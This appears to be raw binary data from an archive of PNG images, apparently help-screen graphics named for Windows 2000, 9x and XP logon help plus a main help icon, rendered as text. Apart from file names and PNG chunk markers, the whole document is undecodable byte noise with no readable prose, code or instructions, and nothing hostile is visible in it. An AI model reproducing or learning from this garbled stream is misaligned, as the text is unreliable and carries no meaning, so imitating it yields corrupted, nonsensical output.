Ӯg7[ޫn@Y2&Q훵|~>{ou|_2NR4/QsyI}mD+b"olnϊ2TP\O"Tz,g8t7\;Qu?h|{eULYs*ͺQQ~>u]+\O>	4.|p|,?ؑ8W_#xFOpr	uSyRcsQ/§{S{l$&>%v-1R&V&_[coɐ[ˠ>m{'3^i+W_h)^6|Og7h
|=dc8/wtC߇N|}_7s3h.i`.<u{|8_qN*?.:'|Ie_z3IENDB`*img\logonhelp_w2k.png&܄]PNG


IHDRK\ʐtIME	
7{0	pHYsd_gAMAa}PLTE@@@Ѐ***BBBvvv֘|||PPPDDD쪪tttdddfff   666IJJJJ)))hhhlll///:::(((>>>			VVVLLL^^^...~~~jjj###$$$%%%&&&'''+++,,,---000111222333444888<<<AAAFFFHHHNNNRRRTTTXXXZZZ\\\```bbbnnnppprrrxxxzzz,IDATx흋CFC<
)("ڤ,)%&eӴl&MvvwowϿs)c6d>[4?3gFʜUu\˪.,!N藿~}'Ozo~~ӧO~GT3ҏPW\ӟt
1sߢ:#=9P'F*#P^~WԿEͣ5ի|O_?I-_n\%:mTzuC-ZAyFQۖ%d	YBZD	Z	Qgj*ZgZ%tZ-!@T rLBAF%!*=nB?uKLZD֓	 6j%Gx9+WQE6!iBEYBNHB\]g':uC)XBg :)h[c5RJ)(BMt*ٜB3	qK,!K\+Ni6>pEYFHdPM#$KF*.K鲄.K鲄.K8~}g_?ho\t+Ecq:O*D,st΄/Ykש
8?ϭI',`|^; 3<s&E/N{^EYYۿۍv7ѦHˬ}/p/Ox(M(NQ),%ceVdIT<upϙ˾8m>܏m}A?<*Ba^tKRh=/,Y*<r]0uKA:9+"p!R@B.y}uq9n0k
:`Nρ)rt(pĀ_%.*!̇O8!ryw7`:kW~=PK@\Xa%J{u.}]4';.+R9KDh3 	ܥ㻗@D"V"D9q+1O`(e˘:!S^\=m:a0:h
Fgh\$b02#cT&u~t ?op	a<y~? Bw쎈(ȍ"?z<<'P.b0Q:YT=<FSz'I;z”e_rFw_<2HW ȠTwO/٠XP	Ugz@0$~IBrUxNޏ~ә-SNJmz=mm1nѓbPXBRg"t{F-8bߋaLTv	g!2J8X~@ed.z:REt/cn
^%mnH*ڻH(q6WՍ R8>!Q^'Kɻb	
7[xJ@Qz `ޡ
QB9udFʎy# soϽx$@}>/jcc#"DQ	K.s
	J|5*WZr84}FI-nGS~!sI@eGP:hA|/nqP/nsmn!8Gۻhݛ5T7"03jKfF򫰝y_XzE?C22qF	.\th݈#6$s`y$5BEόUH2˥NR%!w`S|(6XĮ[n9XsI$R%+t"ぞaf $/MܼɃ̭l.NU<K'W;7>m뭬,"S-uJ9l#LuB=baaX%*x*YI/{^(![݁XN^_qB}9'%w.2Y=@tnOTHB
Y Ti'.#ku0\1өrFt~(V|Ý\ѕNkp(@i:X#UY4m.m#BpSE@5vh+a䂪J+uR7{81%YsUȏIh@a5	pOtzBwVq;Ƙ	`AK%Ev{9=X\~NO
t\B(utJT6lyeM*1Q3ThZ-C/\+|Q	w`yڍzcmnRok'e%_9hVh̪+3HUUTr:"NˢxBiEp&Xyg}
!"MFto}jT2zar٘^'H|$ˎ;=V}cD'2$8
nmSn/_2@B;KF
w~:XuÄ/d
~uhBѤO&GNZ·L㏟=:O>n|XW2|Pԭ4@Yw<!Us@0
gֻBwO㏞0E	WM#ڹ
4ie$&OHxeS<r÷եO
O	3nxLGXww=3&p	ybPaRa&%%<Q8UkhN*`XauPM)ct&S1OaWZ)z(x@=B9o.	zngi0&pnT_C
	
3Q"
nE(,igu݋4|	}t ᶷwFK"v`3dBgl8HnEOw]#1Ұ[ێ!hNR-<yfYV8yG3'TPCX.춽Ž=0݇!^{|(=vVq;Չ.dГna}&FNt1ƨs]=O|>yT];t|F#<L,tP8y舒	y^<10;VKI!,*Ƨ<A’|3rsUN	'?{`ZY7G~Tx\7t
BZ7®6G:l)ԓ	s&<Xӄҷ\^Bgn,cm^ϬE@?.}N^TUt!JUԼǙ6+5iTGe
~M)aԍ.>Q#-9"H?xVt-O={J6$-S<yp""ȎC'sF͹tr(G2bN>Mb9q6V𸘙y

UB+Hhv?اu.Nu|/
_2ck2+62-51",I9"҅ Tuqw'Z%+Ł@!bmI4)G0t٨|'S6AX^VBO4!W豅mhG!pz2#~_k\B;!*E*'",\arA"BFs{E
GvcM:Ʃ%N,Ĺ,%$-bG#:U0\zBx#Cr4k$A@4&kt#|T4]+MEH
iooޕ@t_!!‘7_!
h
!|q͢.Ki!O!=q	e[_;!C&ubn
`%P3HJB;8bc2qH0SlMImg~/>6y
!%8xZZ)p)SmV$\hʒ\"68%q	
җ	<n
!>Ϯdl?Ԅք
ɀAbP1Pl劰"	ŻUr٬d)gn*)Jp/Ol
PG*j]~WCeEJTy\MuQ2P0$FF (БH"ʎU?HSr\È3-sj']/¼
nE'F42:ȇ%ihGDbRi&u}y"i]qgKQ$+†MBrN+T8*I4){fe.	Un(3SYHcsPb̈$"Ǘ|:O(;
xW$4`s՗f_r/T	E*WD>*Fl{}76N5ձ$TTUBҜ\at\%ԩw1g3 UHy_A@И%DͅDO"LC04\v!;
 Ëe t]`U_XEhsxc"rUwTX
rƉ_%$/FDw<ޓN	MX;P9]}^AJ›B;Vo#iOw
MыQIȜWt"s
F2 T,uB'	3ҌO~Rn3,G2ꐂ
%w@K'~֭wW6;ʊ8#t~ȯ	LD::QG<5{]LI#u>X1U힨K<>ux@ !DDim1p+˜=NMkB6tY˛1o:wYzʊ50y˯Iz9n`Т	#"DF%4T tyXh	hDЄ'BBѪoZф3p\ylM7.	@n'h ~EWFd#f:Zs]3ruR:5NYsm@diƎ#$>Eo#L5
!gt)	9LN@'$-,d	vOH-s+C/ =%4IMHu-Gp,Nh2zj	39Uۨ94Cb.%tsd	NM]Pe	5]Pe	5][R5B3?ko?c.NPC؃C#Ңí8oc5k5]&!-ȟcU
Ъ48@+ÿ84bgŏ<MSR,a4ظg!QaG!faEڒc
$ݲ0Ndk`S*d3"ڽymHy98
:mAhqۢ3Ѽ&G":s:x#YG^Ҁ	jy9yKRxF=g8@F4`6h~?ryhxk1L#2ڻGj,j,j,j,j,j,j,jG)]y4vZͭ7KPe	5]O]t^
BLLc%LB%4IBpVvvP3^/Ε2%B*t!v2|		aL!6qB°,'(h:bCjI1rLHDfX`z:x`	M$k&,!Khd	5]Gh*6YFO鋰"d5YBM%tYBM%tYBM%tYvV)ؼ%0YBMb_g\#tT1OwBT^g]7."kCHhpveSӲFB4	U&oLahjzct3noXej
oh	M͆tKFPS	>N BUfWgr׏5ozbd%d	͔fTjmfEaEEj2.K鲄.K鲄.K鲄.K鲄.K鲄.K鲄.K鲄!&'^]RFhb/	MjϮJBPI%4YBM%tYBMW
h	qDzMrg[k<Ry;8wV++_F:7bnb]B(#
/r)	[;O:]G*6!	s˵		߫KFDr!պ
+:Go|*4>U#	pg&EG]&tV/'L%&Dȴ7Ɔ&)Ыbƌ'4C
/#6d<2D=4C@bG<ڦ/&7ϦZB|aYK蔇orӑ%tYBMkMؖД&`lIhbB2
gФLaөp.K鲄.K鲄.K鲄.K鲄.K鲄.$444tG^`	IENDB`=.img\logonhelp_win9x.pngv]PNG


IHDR|3tIME	
9
%	pHYsd_gAMAaPLTE)))թmmmYYYQQQ999]]]EEE111qqqѵiiiMMMỻݍڱyyy}}}%%%555===UUU---uuuIIIaaa!!!AAAeee			w!<IDATx
{<u%4|)
lj)?PDl;?='U[vls9Iܐp%Wmth\8Fpm%4֮I;"U%G5MqId1TkʏK< #j=BM<Zh}3-4;TơF24xA=J{ɮz:[GCN0y<n~nu?:!\Щ<t5Y.V#x|(kXn;?y\v1i<ni8&	%;<֩4^WRx/
Jg</80K!1hy(XhNoV#vu]EO
!}XpƒY]
5=K[aW<BZjs9F(Y܍/W$Z'ux+}/z#*I!-8⑬f̶b	<HBy͟j3081CuwyVOl}txkVZe˥)UW:ub<>*uC}xњWxt7x$>ly,gz/<ݒ*ۻylw_#;|TiC˿61a<(W]yKGyKGyKGyKGyKGyKGyKxx
b"=14-:spyK^|e4Kf(TG%V;i0
!g:0M-'=tܻ\k#=><>.UJ̇eJldѥ^X>,LJe´`Z:K|y\{kWxNgha4:<㋱I֟g/cGP0~@oGHcm#u:nߓ;L_&vMiBs*<ޣWxx0tpvyN:<9	].8\ՙ긲u ӒCґ,˳/J0bʲӨ3PwǬwzC-U/ĆfZ`[|gO<">dZ/yùwz>^"(M(eI|M	5)}A)&ʐ˚0

=H{k->~U/qQ/qQ/qQ/qQ/`wwM‹Oc+ӄWͶG=X}@5g'G:&p
yM`;2PTC
C1ڠm_~:8R	&&Y)<}w5W`p6mIvN^e$m;1x46ʯ2+a$V;H$Iʲ$#ԢRTgL*eXFigqclL'3Jg*h4!ŤN6mo7;I2Mhڸz[ZY$,LݧaH It!0*J

=ceo:N]LGĢ`ոfy0_DPJ^i&^!H'yބHnML!1_%ra>\Ft:3cO3u:ISASơbbXGle~U^h8DfC!I+q+ydv+6Ss)Xu 0l
Eʜ.0X.7sCWrv~AYJMhc:[9kYU𨚇Ps7<'aeB/;{(j<ԧK.,O[tEM1GK8@PչF<X^a2sYd<m'&S`CwªTJS`FKy@!U!S`vXWjtgi<[&giFD.Wv7jJl=ZLh;2h})yxC`Xs㎵ܝT<F'!uHy[RhGE؎^^ydpx@$\<N4psj[p"GKacqpV35dxƣ
gw:+>c,SV<,]O=w_xHe>SlX5Zk̓]gSLSvu}s]ony.U<iY!-pn@6͠:UA9.+`oKt
	<qL˪6GC\Sh}jC<4j.!lxLid2da`>!v	_yC˴ӡ=ǶáYeqnB+،MyPV@:?rl^۔
vnyUc"#Gh)ieXVVB6Yo<?vz]~Dq4_M?~5Ly?p'1I#M|yt=5C7jIǴ^7<vv2gR=ޑ耇7{A7nvAn,ox8h6y0C2</8XU8n։6Yƴ`OB&
U{XS-S-J^+t*'4î6K]+wZ8iM*an&]۬ʪ'@k?6\ţ:g<fq<LbM8^ⶍa8înJ=TyP┝5oDzlsr7拈yc8<''2GqEcqW)fCaIf`<߈ن<hXDZm׋p@8pqa?2_dqT2ۍc-}ښǒڋxv>CJ=#]nOިj?*c3.\1!\3.țlMS}h>X846Oّ		d#F|TOujC'A%R|vK8#>G9FD</y9faoz/-}A=`lT;S[dd%JKVca^YưhL(:xbF{8b<fv袲cj
AjLwGDO<t1]
,8"T2bģ+BA9ZDXŗyXcq(Q
hEy-`<Iwȃc'X׮a
˚x,. .!Y6BQEx@4HmtlA{\x,	sqb",[{B9|.Lwx:eL!x#mn6a;L<ڐ.P6<-PIpfcVX=x)|2,G@bXr)兡ڧ6,`oCyWH
slzS̀@_YB{U
=.˖ժ\f]89NG5-ftSz,8igYG</[koהhAmC<"'9+eKvy缝/M<x`ILW%`gQp.*a
`V261	rZ{&ã}Uv[8|Ĕ&㑋l4˰Uy-1A;UkL4aދ&\Ěb1MyCY_XE]%оYVYjk4q&[Nnh/yNih3@i-0,CgaG8|clbC1׻S</
`I&OB!{<lmt
>Zjxs9R^2˸INy`{gu6W<qoUc#Ae
YN\mG:uu<H6<$?-6hn
~a/,x^:tAwrllklzi91\vryX-Zy
gsX^ij3~!j!ϝ$	hQ2yJEà>\3|fku	ڎoʱ.x?&aC8L
q̳CeFC0MɆc^B]PcSw 1lI5f`h6[eGrLk|%M!y0>`{udW<>|gp{QgW{g˸We=%'3#[73&zVƦʶY瓝2#;ڮۄ4P}mۛ
TpRlhog=a}[}Y5<F;8KwIG&-Du/8z8z8z8z8z8z8z8zCϩs~xdy69?ν5qSMǡ8Ѩ/dqDi=3MժLk9u<sJLixlwcNl#P?	!U4~+6C:(B
rU`=ɀ4FQLۘι!RhZ-uiZ֐RrtfYe1(l^ak5QcYe-|CSo&n/OǕ"gE ʹ]_CjNfuZ?&{70Bx8Z6<rhBm*`Q[
^) 36E?y9*N(BHۿ)7:(ylWAS<

| #(/_?o7U!͊Ю<&ղt,a-WWlN^WtˣUhHv!{&>b*2~qx@dM
!3`:蓡fq)+U\v(Vϊ+M\i7My<98n.ϦkPϩyKGT7^pNν~ݯMWzPT~#qc?/ܳ[{/1}Iz-[Eq}׺
PnBC]m)ݬ9QmOq,4I7Sf-`b{V?jxK9(T3H9OIhEcWwc{5kr坒:Ra9qNw:,HȿC[uiNIk"WjK#naecȚ>5Lj~Kҹ&e^C
->asګϫ߿!E>TҍEr(?;!EI(uhi63`.N΃qqq\Gxn~M3ygq9ܻ_;8zn<윺8׎GO?pAoϦ~}u(#Tt}ex8ߡr~XEw?bϊve?C|*Ε7s=SCEY}s',ye_ċϕ ,	-|@(x!$O;yg^]Yo3kμ2y/I~mjsFі\s<z?c,nFl13eߋfj6~kj0}\foXoB{;naPs޷dwEvg}Z{xkȪS|eӑJpꪉEf,W7cGP<n=ebk7ylޝPQFYP&:풑FOx%~}+iytl|KV j4p i0pɔZaP~Xo|Ԍxl ¯;hnQtG
p
A*6KCLh<|xW/?/'y|*C9<82|i9uݯzwV{Q/qQ/qQ/qQ/qQ/qQ/qQ/qQ/qQ/qa\ue+W-۫8z8z8z8zjnuo
:8Y'mgב~tVT;Q_{}?u<Nӝ!މkxp81A7g=qcG㴌>QJ<Xx?x8'$LЧXrHƷxHH֞do~'3G)N#^yـ~R4L
(#؃KOk>Fk@H"F)'<B	N(p
("=+?&ݪn׵Z4'݌#KYJM+lTNZ1{o{,0#ڒXZ'#\ypC)݄tޯAMuaU^ICw0xGwTmnTl!a<?dx"ԟw?
~y8wHnˣG&?ݼE\`Aۣ zp4Ec*hץ^/٘џ{(5%bTS5.۸?G)5Dgk{GQH(때bk#x[f&c<垦CW'nPO:Q蜬}Ʃ2kCNֻ#O_rzAyKGyKGyKGyKGyKG<.UFU}QrvIENDB`0img\logonhelp_xphome.png&^PNG


IHDR9tIME	
6;p	pHYsd_gAMAa}PLTE}}}|||zzzxxxvvv~~~nnnddd```rrrXXXVVVZZZ\\\bbb^^^fffjjjlllhhhtttpppRRRTTTPPPNNNLLLJJJHHHFFFDDD@@@>>>888666444:::BBBج𴴴<<<鼼Ʈබ...""",,,222000&&&(((   $$$***游


̺ܿ>IDATx{WրhCz$Zp8(^)N_qil~;Ce@(:FH>3޹#z٫Wyϓq>lbŘB!Cȡ\"+Y(BEE~BbHN3Dbcc,@q`L11n#<7C2FB4e߲dzqD-UcbZ͖%ƖԖiւM$G)[dbmٗr,:DhVxZV~^Znk.l--Qmڜ`:0l-ȊUm9kпɖ(.dU%ƃQ+)>͜l\u|JF[Bp}֖ᰵ"['k[kK͉оZgHŲ*_̹$Z?BVmJre9x"^
f+#o?w߿
..ؚpve,lk־ly9'(O:dytnzZ.VѸ^^^MVu]`V:jq1wcC˳ Z-*|2)|2LXtvRT.ڴ,Ru6N5[CkQp^}	YJ%,F
6UD\U*(\]L+m1E96=Ckӕ!cHTGT
YKɬW%dZ*$fd]}RrUEhYeyPZmIFl:EB&"&(
(d1"WWVy_^\92rq+V߮.W1R\s;MKudUAxP[@L..й,QQ@Plk8aC+m@_?G/ۿݐ9.Z%+GCB*Uk@q!mE0_.~0
? G?t/Wzbc&&8uBvj-UԊ<IJ4pU
V"]X*[7ah<nWlkb^WOp:mmm-޷V!mYOGFBX]ˬ:][v
K΄Wƥv]v\ZWl^sWhZ
|5]DfGla+вu2?u@[t,eKe\q΂na.3Aʕj&LXUڮ~ak։𐶊(͛jTӦJT_vSʛ_5BU&[ǶVol8Ӑ[r'A<^YB;o[t~|Ak5gKc]i>2E~댪r+non}uo|To$Ⱦ:^bkZU-WҩUU}V5^odԬwZ
#mtrű{d[hjcaQ
ALqEVp49n*1o^ŚOnMmR+ڻq8M$1pHƛB?Vm3;LlZG奥p}}UmWze(58_E1fzc4>V~+c֎mu	ۗÂ.vslzphХ8zWA@t#G[!v߹LCZ8s\l3qLq޿^]]VB\m;4
p/~ngG[z4-l
{V~y{7h
.֓+FVVMD	Vcpw6U‡ˍ!ʄ.$:#ߩF5~ckǛV[;o1jXlty5h{^VKCBw/PDqs-ԉskhm;/ZFXr**6ػB5h	kM6tQ3.mkQ5Z![7{TwoFQspȣ;kZ,3h:8,HLVbhlZgf8@FrS({׻y[9<[h2ÿChՃ
9[M465~[t$EO8AʷA<~i&mZ+:m:1ibk:ܨ5osw7J~bNϴyLQغOiYݛW	7ZSk5~aW|.T(NWdRw'd=uZmu;{o^F׼EKI)t:ίT<~߽ޯc1ƶ&WZ*UeW	BrXzIҮ,k։p~32(Cۻΰ٩T3JVK
ε?GyBkylђfCmɃ<c+c+C΃+9ms'3GދeUΔ0U*}qͿŎ[\lMGآ_hSKlcV<:ok{%¥M]*C۪W3AeoG+׹Ε׋ W_shU*[Vn0Pښd	ӓLfF-Vnslqqa*kޖ_H{9$|VɖObao$7:4иYoU$BV2hW¾Ʈ2R-ʠ vt]Vc,+|RƒVLw~:~Y&wzB6;Ujķ*\:MSn6mrp
!'kΖ"_3'UZl"׿,N@a_
M_e-+<~>#ck ldjS~X<
nlBots/9؃ѠuՇ	I,#DxjSi~i塵WtlYx'Qh+2
NN?77WQz=v5utvapj46chW-ߧVޡ~AuUzyqi4'j]c!1cJ*e
$y<}Y"k_`]Rض-fwz֜-<$z~wo_V!}[3ٴ2K5l[sgrOg_"gtߏ>ÿ̖5|cw?_;7aٌˆa`d/LhMKӨm-=2iz/[ۋSO­W0nĢ7!]߾wxVpoGRh#2)YzfW#W*G^ߏbDYDƘuf:a{;$+$fٮY<*Zj5kʲdU}=fi:'䁠R+3uT(OG>:w[)}ן޽{MvFnQ*佧g*Kc+f
;fY13yy$$ALC
}n[-&#Ŗ+D_yPwPN#)`C5){0,GJ$K9[|+Ili}}v
_)kHsB먶^}k;}xcHj!*65:W)Q2瑩#;ge'NɲE>?#j}"vfr>lL`~W.ʬ2H7y~푙WvrT	"'ߛX&{NZN#n*+uw$mE-Yk4T*MX:U*bP.rVhP	ߦ8l[""PtRتbk$\|bkzaQAČudlTgڪg][jNW*-m0CK _3ƶZN}IㇶfN(W{<س-7gk>F2,[ۯt:JhwgۂRuS뜫lOe$
_`[0j_wق.ȬiR/r/RY;7jdy
.G'c~r/s?H`-R_r_=^gW^qPYz촼ϵ88-DEt$)U	Xo֪c㭫ҵ':Ng٢Xf~:JeI|~RzB?d/OKc>m)Ȝ(1IJؖZȕZ~D://'e5K*_"Y"lb˷$xlxS>-7tEŞD={gb3Eg6zhZO	<sF~_^`<ܬo6tyfuU&{4a`+iu:"2?=w#s:lxY}ƢLy֧xFZě^KyO9+|kYG1?z!T3|#qW>M]zB3f}dtCZ}	Pg߬hO\_IߧHHTycȰ`.~Y!~nzɭj'gN:?3R5wU,%TJ*,Y,xUXH9]9<_GNDK5p=R`SbD"&9]DBmqB,blfJ9!KD(N:=[38!
ȇD!XD"Jlq^_赫q:0[S rx	@+ÉD	D^fl,6FظKl	؉3i? 3Yؕl#LK,✕tsL)PaG菕5BZLٽVg9ڋ2rzGsTݣ1fc,$KF|I\v2[j41瓁j=&ttRfy*RAƃ0l	=Nnq.5}rp`[,&	ҞKV}iT~ʎX[w牐@I
-T
~BL*i[dwb[6qٶ*pZuޘRG'DDQ΃v\o
+ٶp 4:UPi>R\h{,QEmٚ+0$dv˧j.>wHln`,Y2D@Pv`Yhr|:[|¦ZYHnvhjCQ&Ɂ2p!#5`?-&G,uP
=or8\.ew:bT=
#-=**2Q+'Jԇu9NìC<[|TZN"tBBr~JSIUX&i<ږL"	!+NVa˄*CiAU)+EHA(2rBP\J^m=n.\"2BK	5NNZTAۋש[Z;ȖT*҉PqP(	z@Ul:t
*٥(mH65걬i*D#Љ5jTbA"A|Z[<BOD:DW"I8!ARO_*Ol1dB^A̤hzA=)gЀ-AoZNҠڝ6+Jq{f8T<CbHYN=Q\)1я|lAM;at<XCr2*	5zK_Pl9(Ŭ:ru24dan1*R=XL)$!&2w5r?%Xx](s+#
9j+dl^pžIIz4殶+xѮ
j%	FWRz`_-(ʠФ
NaL?TJmF>(ՁNcp{
z[<d%Ul@v6(3S%;`[RRbTf,K$Q Љ%!EƷkt`O2h:]n|swj'+2{0 ]fbvĠ}`kARTMe2&[0E-B`/\c]T(jNOS$`/ʠұ6y0n^Y[|n	
lZJPl,>vA_>%]IENDB`
.img\logonhelp_xppro.png$/H^PNG


IHDRUtIME		pHYsd_gAMAaPLTE"""%%%666MMM^^^JJJDDD===000呑@@@}}}FFFvvvjjjеfffչyyyooopppZZZPPP```UUU999BBB(((---͆#kIDATx	cJ{8H@El1d|gݪfYLL$'EH?VEڟ?swutw>ή?77__?oH7Y+ؐ7G XPgn'~{F{|x?|,3K4Tsus`|
هMWA>E|}pw!z(ş,	pmui'>>s}M_Ugb4%|A@oۗBPL"CuCsȮ>t!tS-%"JxsuuI>	B	duworሶ:	(MDv" =Ixѻy.roZ$'tG	e(b* 	κĸӻ}suuQ$;wCb@h@BN|8"cJH ;hQDEk9D͊H?8z^ӷe9" !(O`w~!xFE~0}B!"8!NHgkrAp__tHpp;|K+ml8,sY5G{~@!G[WƟ=!/YBt#:n旅epe"ч@֗ѷ"HI'.B bB~
hL9pzGK
. G/:&z
D	]c(18>t5cCD쩐LKgx1IW(ͯ	\@^=˥PEa)30R:bG<J/%>!G>Yz7"w{9BU =-OH'>&0M+緼1]	]_fE`һpF0JBis#dBuًv嚘yBϑKN%k|,ds(_cWo6x75>;>}wF.]G%3o[dggw?@DGs7"LDB{D.A|?΍(
<!D%Am_+~ I~gbCTso%)q+BDoG^_'vޝ%g^m%n2~ŗ>n:K|<Ӑe0fAjc-LMݛ1eQ__2-*n?'޾\6!T(
Y|,4VE(hu.,U%(Oz3D%X9Qۉ5;ƱV^EeqEF-'rc\&z
HmD 
:M4T^
'MZu"*uY@ֱQIJ(rL}HF'bD9mۇD~sVl)5|x%DDHSa"bAE!PK}.8ȅj>ksOBQ_
ʎd|]mY;L?L9*b": tRBfjrjMW(BZ!)u+	eԵWYBIg{VeV*
Z&WY96Qe&
j*?vZf}hrO4TJF%~Tt=TpDA?t<4M
J1mlm ĕg(Gjl۟˃\y+QKbNpч6
[z|`QPM*BpaV"jgZ6J]ϟ?*2$c:CuAΡDӽ*YNhY1!BCwweŮ׀=_>hYvP'c5j	eB(F&jR(m0QB;y.rz_]XYuP(&!ЦD].Qv{BJ="a(W_MX;*fh'(n*XYRɞLjs(깲сTػ|:uk-ih!s(3XȜkÜ<,ͱ*30aK[EBGԲjOT2*¹	
i(r-znRDm@u&4%0 ]S,C&X g7w>%Q6Uā62MCbv133
8
5u54-B\)@HĈp%MD{B<<4FB[!.AJ|X+4i6r]5M&MJU%J
\VIDaTh][2!9CȲ`-$}؎Zw|mNaaܛ|X;PZ9V(,Fm +$An9xBmTkmo5Y$DԲ(>ń1
\	aA2mQ8MӴ</(`1u\ۦ;+k[b.Yۛ%Z{ɦ}{GzLG[S19z"X}B@!-˧wMD!TiwVkĢD3shQUNrBfPa
rvA̲B}CWWbv~Ȼ
rͳRC>mL
(5>'TH@GD.ÇZR+tz<rqt4
YVk*	qtCl(*|(E3F	VCTh*B֎\HMȢi^
5>nHO|nP6:<0љL4	b3PU>&~Eih[ku8
A|Dq.>;|LH(*HD8=ř1!DX7
P3By@C!=НwHC!QBkiZАzA𤪶Hk4!r$i@M@eNH$ls<X$Kq<>dSBZnD\`൐E[`XQvzۡiV(%4fy0q14t<T94NBXa	Λ{)R-GUxtnpFtuv$mAnpڡ
Ӑ4fSUipӨAnJD?2;q#9D9pE;ϩڶ$E]"N)
-!Y P`=،n
%
j&!G
4d(G& %SH)gTˍ<!D`i<cui*B`Zm5rev6Ecz~K40^|L@MCnrSBq׃eS	%@R4Na2](kQE}QPT8BnY![
׃fžTkA2Ǡ
ӐK( -i{B$އQpe&!"h>d#G4k}h+v7Z8-G@bIPkoQŲ
Lqgj4`P
L@?l%qL1r%DB~DPC; c1
h@#
_Npr~aKaG0
>	0YJ<9hG͐	B
>TWNS'vAi(	rCy
@7V_qO
b4ȭЖhnx!
9LBQ²C(LZA4
G),qDtQmtPSVBֽ[LC zlvCp+=H'xiIǔěП7O7oBjM"!X)~))n
F@=e)`F;9D>T^k!rkr֎n8\4kjC!:,7<7$AT[8U-*1)sxN;'W
!eAnS/
w(Ek:^P00&DsZZHED&:Ada
}Lm;34ڐG%Xv,k5(%Ѣv]R$}%Pam=N18в(RGSjw:Z{w?4<mYA"$qC?:%1u>^qT'NԴXN(4ESݸ́rZ&Ck6K\he	C>!{m	 i	".8$?46M2:7m]h0|Oмhޔ.
wX>EPl9+
rp|^N++]y@I+
b=*rK>y1OUx1e[Q(lkQKvڇih8J>% =5dR}~e:7bD9ijmv nihcMNA&ѐñ$WD
C&rkicD
Z;
r!"Ho'JIW*Ntrc$i}];R=<}ȢݨӺ
h&"ۮ8]
>1R;?4(PAAX Xb}NΤE\(灦O3 ĴBm<Ccy"W4Cs-yX#KrTԈR
uBPs2 7OZ~Y\DB>p.z}!ASD5ཾXgY&ѕ'qB4]P&
ړhL;ڇ¢HѼЎXk (}ͷ,g/Ɓч^2%
ZŐͤ-E:0q\дN1{P9\+
S
GbwD2-o7}7z0Tl2I2
 E
҇?
QԞ^PE:j|fHhxOpðLJvsZP1-oi8hΠ%!X_sG5K$՜"
瀊(B	'mOO% N(LMva!95Z.N	!Ah#kQބ#
Bw|("h:RiFỹQb@MB
N"B@$\_*[9fX)	4)Qyll:b湈ptb*Z6ie|8$]_4BoQIEKd>}Yut^}>BPCV]{']o<^.^.QS2Y0!Dh&vW1YX!K#y"VjUCoUFPZʾ/Ha
ë+$.e=D@e
=M-ݒq,%%|4B6
+~އԾICyN=jI"ϋmA["8w9}GWƼ+Um7$4#db/%CB3
)'0Cd/HJr<ى	6KixaK]NDvG0
k=,L"

fUj8n
I=Wu`982M1Sq^/yuhd[2LD[qd0"䘡dʚI2ἒ oh36PnkDiopλzh]C؜d)$
	->KKX&rPB>!thx`jpnQB֟KX;e<Bf|
,C(ĉmheY'q|scuxfb
-]7Fb
$2;Ꝉ}-qY4E-H2$Se͌]Ck[t!PE%[')$p5s	3Z>OF,̵ޱ/mS¸-mų+Pӹ!SZIїs\=ůpZB'g1\yб|/dM
zG81ij\Hql=]X܉#|,<I^(+f<?P>EDϼC,"!-aFtfcg%&c׆n~4^"DAYbQuKg\	xf
_X!s@[BNk[*
6G5W}xOxgWQq`l΃ЦlmHC˃}~QM\)v2Be1.&DG(O`*p!p1ڼH5k"NUP7ͤI瘼;o+dHX!ImH,\0%Hk"{酂a6JAP27A>
|!i0uDǃ9DƎ9o)0N
Ƈ44NhiC=-Lm_!塻ckz\?ևJ.k\~0fNTɶ4J%:'

xDx?{(H	,amJ(

	aF5QلP6DBtV,ZEV\ȇU؂UHsxȑoi$7´
S$ +"Mȧ~P^BK2p_tZNkCh$"Z
˥`C(_9겹s5%%"8G1f
QƋd["&-x$%ґu!?oJֆ-,oI&,iGPj/E{u(D
zo .tMۂd
z(	"maxQ6/YBPBhe e2eA#DotA*SQlCA@{0]><]譄|㵟,wQ4圈Tk)Y2](, /P*2OUs| )=PmDOӚM*7b_\4WjvA4'J.ΊBG"bUvtP6eӾFW;rP&J2S}>'mʱ!Âzd,[G
օq^,;$$'FxA>"K˃lZ+?)HnՀh"W3	!%g? IneD:L3:@P*~8(*D!ۋCaA9#
\OAYLRE?}(C}(erBlc9?e|(De%0C~#Z ϺO8w@H'"V.:ȋrGbH'V@DC'J59HeDL
sHUGY[#v:BmPۭ#v:BmPۭ#v:BmPۭ#v:BmPۭ#vޑg#Dun[G	~Btr*B	P[	%:-,įљ2$G#	HfwStB;>P!Y	PX'(ʭ#8uQ	Ŋ +QR R1QnV&}VBjun׳OFXGjun[Gju/j
YGjun#T'#.:?P<>Pqvn,U	)OaCMG,RIoǴfQ
aG|h	{ƸCP(	%Q.74;?RBֺkuޅmwއ	#j}:B_>Nb[Gjun[Gjun[Gjun[Gj!I'fV,eWteyyv1R/w&SNawK)YwY;.Od1<+|gBod'Xb!
gMķE<+|oBv	B<+|oBqkЌjYu6[[8BnefqT6l,Zѫ	?TzBnU=:Bf/4`IYr[,8B/Y<Jq_xdygr+%E?Y,~oV֥_e7?fWބj'ŝLO+t϶Pl?W|Z#	i	iZ#BJ_#T|B4f8B݀P]&Zx}7gܩ	q:/8BVE_$YOv5fQfZa~9W;`Y{ɒ5eUgt+BA!]~ٔP?dѬPTjvO|
go\#t	Wȧ+}z?	V%tghHzOVho9<+|_B^>ݍ
'!=|/!d
ߗˎu}/Nb[Gjun[Gjun[G톄~yug-[ Zlozk|kXhIENDB`O"img\main_help.png^PNG


IHDR))'tEXtSoftwareAdobe ImageReadyqe<IDATxXُ\WZ?]j^ݛ=!#C<dOF		!Nxi#@<"x@4h4B(&Q&ۙ$㵻v/]w+Svսo}lEO/rc,a_8$E"t10SUg獌r,]!!N?'n'c\]2E>a`Lnp?sp#
$a9_An
ڡgLN֤T	s8_19X=<d!i;`xxl+Ը`B VO[KT'i47V&5&,HN,80?7_i#	m=oVQXeho?~kwR/KJ,˒4Ǧ/.Xһv'FkW22O֔Br-m!`)eJG˩1KnmY"!L#GI%8Ny0GK'W.cٮ:{[6H!ӽfمF .ceKI[a:RbRgV	:Bd8s++OͰݛ\B<RJ>X'cmbo VznI)ǡA9s\ArrpH<Jbܼ̤ZķoWb|~3ll>Ağ[h'SbLXuƤ0Q<Y<xP^)XL٥Sk[B\][o{ۊ;hǷ29@c"y'SSpJ؈QS48aS{)71m&7/ޏbo׾!@+L鬿Ahg1u<͵?=!D%>"N&yw+ӭǝɺI9`?{%*R{<d{Qd:9qy{'Ƈ##S' rX0E;׳D4aA1u;\]~!eQ(Rm>Gvew~}dY܁cO*UU<tFY'e-gaIO4F?y)RdM|dr86b>7[ŃX(eezt#Ye\V /}v+*OXC,'n/r{{&3.l`D	